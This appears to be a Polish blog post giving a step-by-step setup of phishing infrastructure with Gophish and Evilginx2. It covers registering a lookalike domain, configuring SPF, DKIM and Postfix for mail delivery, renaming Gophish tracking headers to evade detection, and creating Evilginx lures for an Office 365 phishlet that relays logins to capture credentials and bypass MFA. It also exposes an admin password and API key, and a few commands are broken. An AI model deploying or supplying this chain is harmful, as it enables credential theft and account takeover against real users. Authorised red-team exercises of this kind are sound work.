Gophish+Evilnginx

blaszczakm.blogspot.com 4 dni temu

Zdobadz domene

Aby nakłonić odbiorców wiadomości phishingowych do kliknięcia, potrzebujesz nazwy domeny, która wygląda bardzo podobnie do oryginalnej. Możesz manualnie zacząć zastanawiać się, jakie domeny byłyby świetne i niezbyt oczywiste, a jednocześnie wyglądałyby podobnie... Ale to zajmuje cenny czas. Aby znaleźć odpowiednie domeny, można skorzystać z narzędzi takich jak urlcrazy, które generują domeny z literówkami i warianty zbliżone do domeny oryginalnej, lub przeszukać ExpiredDomains.net w poszukiwaniu dostępnych w tej chwili domen o wysokiej reputacji.


ExpireDomains to w istocie kosz na śmieci, który pokazuje, jaką wartość ma wyrzucona domena... wspaniałe źródło informacji dla przeciwników!




https://hackmag.com/security/evilginx-gophish-guide/

https://www.mail-tester.com/

https://outpost24.com/blog/phishing-better-proxy-than-story/


DOMENA: account.i-wypozyczalnia.pl

A -> mail.i-wypozyczalnia.pl -> 45.141.3.55

MX -> @ -> account.i-wypozyczalnia.pl

TXT -> @ -> v=spf1 mx a ip4:45.141.3.55 ~all

TXT - > _DMARC -> v=DMARC1; p=none;



sudo apt install postfix


sudo sed -i 's|^mynetworks = 127\.0\.0\.0/8 \[::ffff:127\.0\.0\.0\]/104 \[::1\]/128|mynetworks = 127.0.0.0/8 45.141.3.55 [::ffff:127.0.0.0]/104 [::1]/128|' /etc/postfix/main.cf


#PODAJ DOMENE KTORA USTAWILES: account.i-wypozyczalnia.pl


sudo apt install opendkim opendkim-tools gcc make -y



sudo tee -a /etc/opendkim.conf > /dev/null << 'EOF'

AutoRestart Yes

AutoRestartRate 10/1h

UMask 002

Syslog yes

SyslogSuccess Yes

LogWhy Yes

Canonicalization relaxed/simple

ExternalIgnoreList refile:/etc/opendkim/TrustedHosts

InternalHosts refile:/etc/opendkim/TrustedHosts

KeyTable refile:/etc/opendkim/KeyTable

SigningTable refile:/etc/opendkim/SigningTable

Mode sv

PidFile /var/run/opendkim/opendkim.pid

SignatureAlgorithm rsa-sha256

UserID opendkim:opendkim

Socket inet:12712@localhost

EOF


echo 'SOCKET="inet:12712@localhost"' | sudo tee -a /etc/default/opendkim > /dev/null


sudo tee -a /etc/postfix/main.cf > /dev/null << 'EOF'

milter_protocol = 2

milter_default_action = accept

smtpd_milters = inet:localhost:12712

non_smtpd_milters = inet:localhost:12712

EOF



mkdir /etc/opendkim



sudo tee -a /etc/opendkim/TrustedHosts > /dev/null << 'EOF'

127.0.0.1

localhost

*.account.i-wypozyczalnia.pl

45.141.3.55

EOF



echo 'mail._domainkey.account.i-wypozyczalnia.pl account.i-wypozyczalnia.pl:mail:/etc/opendkim/keys/account.i-wypozyczalnia.pl/mail.private' >> /etc/opendkim/KeyTable


echo '*@account.i-wypozyczalnia.pl mail._domainkey.account.i-wypozyczalnia.pl' >> /etc/opendkim/SigningTable


cd /etc/opendkim/keys && mkdir account.i-wypozyczalnia.pl && cd account.i-wypozyczalnia.pl && opendkim-genkey -s mail -d account.i-wypozyczalnia.pl && chown opendkim mail.private && cat mail.txt


systemctl restart opendkim


#ODCZYTAJ ZAWARTOSC KLUCZA PUBLICZNEGO I WPISZ W DNS:


TXT -> mail._domainkey -> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwLviEJ/xbx1hIWlJZhkiw9MiSkCZ/dGF0OQPyhHM3g7v5xN14XUYG7E0vmH/smeA23hh14Z5vlGNv6+PaEDsgQWzD/c5CG8abiHusQIoqnDSQScDWT6wvmyl17xPRUVCz1OvUiNAak8FtxA/+nMTy90DY8ClySy1kKzo6q5GPqmKLM1qBqW84hs11Zrt60bntfkEOewSYjpcB55q+rJlDwQAYDv+gImX9JEblhyvrZQCL4uGLQ7eZNc8fe9ovDchB4yHwazUf3o1UREDUjncpc8wCFNpoNIyK/WnwGK7/SAzCtL2vOjYx724SzaMaL9Vi7J1tEgdByYl7fcWjveEOQIDAQAB




#INSTALOWANIE GO:

cd /tmp/ && wget https://go.dev/dl/go1.19.8.linux-amd64.tar.gz && rm -rf /usr/local/go && tar -C /usr/local -xzf go1.19.8.linux-amd64.tar.gz


tee -a /etc/profile > /dev/null << 'EOF'

export PATH=$PATH:/usr/local/go/bin

EOF



#WYLOGUJ SIE I ZALOGUJ RAZ JESZCZE NA SSH


git clone https://github.com/kgretzky/gophish/ && cd gophish && find . -type f -exec sed -i.bak 's/X-Gophish-Contact/X-Contact/g' {} + && find . -type f -exec sed -i.bak 's/X-Gophish-Signature/X-Signature/g' {} + && go build && sed -i 's/127\.0\.0\.1/0.0.0.0/g' config.json




sudo tee -a /etc/init.d/gophish > /dev/null << 'EOF'

processName=Gophish

process=gophish

appDirectory=/root/gophish

logfile=/var/log/gophish.log

errfile=/var/log/gophish.error

start() {

echo 'Starting '${processName}'...'

cd ${appDirectory}

nohup ./$process >>$logfile 2>>$errfile &

sleep 1

}

stop() {

echo 'Stopping '${processName}'...'

pid=$(/bin/pidof ${process})

kill ${pid}

sleep 1

}

status() {

pid=$(/bin/pidof ${process})

if [["$pid" != ""| "$pid" != "" ]]; then

echo ${processName}' is running...'

else

echo ${processName}' is not running...'

fi

}

case $1 in

start|stop|status) "$1" ;;

esac

EOF


chmod +x /etc/init.d/gophish

/etc/init.d/gophish start



cat /var/log/gophish.error |grep password

time="2025-05-14T14:13:52+02:00" level=info msg="Please login with the username admin and the password 9895c8c73333ac6c"



https://account.i-wypozyczalnia.pl:3333 login: admin pass:9895c8c73333ac6c


cd /root/ && git clone https://github.com/kgretzky/evilginx2 && cd evilginx2 && make && mkdir ~/evilginx && cp build/evilginx ~/evilginx && cp -r phishlets/ ~/evilginx && cp -r redirectors/ ~/evilginx && cd /root/ && rm -rf /root/evilginx2/



cd /root/ && https://github.com/An0nUD4Y/Evilginx2-Phishlets.git && cp -r Evilginx2-Phishlets/* evilginx/phishlets/


./evilginx -p phishlets/




# SKONFIGURUJ TERAZ DOMENE

# config domain account.i-wypozyczalnia.pl

# config ipv4 45.141.3.55

# config gophish admin_url https://account.i-wypozyczalnia.pl:3333

# config gophish api_key 40033d5b93e2936523c50e01faf5bba01b904fee4d73cb3c60663deafcb8708d ###Klucz API Gophish można znaleźć w panelu sterowania Gophish (zakładka Ustawienia konta).

# config gophish insecure true

# config gophish test


# https://medium.com/@faelsfernandes/evilginx-running-a-phishing-exercise-on-microsoft-outlook-and-bypassing-2fa-a268e7b781b8


: lures create o365-mfa

[19:16:08] [inf] created lure with ID: 3

: lures edit 3 path "/survey/compliance"

[19:16:19] [inf] path = '/survey/compliance'

[19:16:30] [war] blacklist: request from ip address '51.79.161.227' was blocked

: lures edit 3 redirect_url https://docs.google.com/document/d/1EJKxrDgpf6ZOUh545kkVVMlN2xT0YK8sJAyTc1EAb5k/edit?usp=sharing

[19:17:57] [inf] redirect_url = 'https://docs.google.com/document/d/1EJKxrDgpf6ZOUh545kkVVMlN2xT0YK8sJAyTc1EAb5k/edit?usp=sharing'

: lures get-url 3

[19:18:03] [err] lures: no hostname set for phishlet 'o365-mfa'

: phishlets hostname o365-mfa account.i-wypozyczalnia.pl

[19:18:52] [inf] phishlet 'o365-mfa' hostname set to: account.i-wypozyczalnia.pl

[19:18:52] [inf] disabled phishlet 'o365-mfa'

: phishlets get-hosts o365-mfa


45.141.3.55 login.account.i-wypozyczalnia.pl

45.141.3.55 www.account.i-wypozyczalnia.pl

45.141.3.55 device.login.account.i-wypozyczalnia.pl

45.141.3.55 outlook.account.i-wypozyczalnia.pl

45.141.3.55 login.account.i-wypozyczalnia.pl


: phishlets enable o365-mfa






##### BASIC AUTH

lures create basicauth

lures edit 7 path "auth"

lures edit 7 redirect_url "https://hack.tech.zdalnyadmin.com.pl/html/haslo"

phishlets hostname basicauth account.i-wypozyczalnia.pl

phishlets enable basicauth

lures get-url 7


https://account.i-wypozyczalnia.pl/auth


######

lures create o365-mfa

lures edit 2 path "/survey/compliance"

lures edit 2 redirect_url https://docs.google.com/document/d/1EJKxrDgpf6ZOUh545kkVVMlN2xT0YK8sJAyTc1EAb5k/edit?usp=sharing

phishlets hostname o365-mfa account.i-wypozyczalnia.pl

hishlets get-hosts o365-mfa

phishlets enable o365-mfa

lures get-url 2

Idź do oryginalnego materiału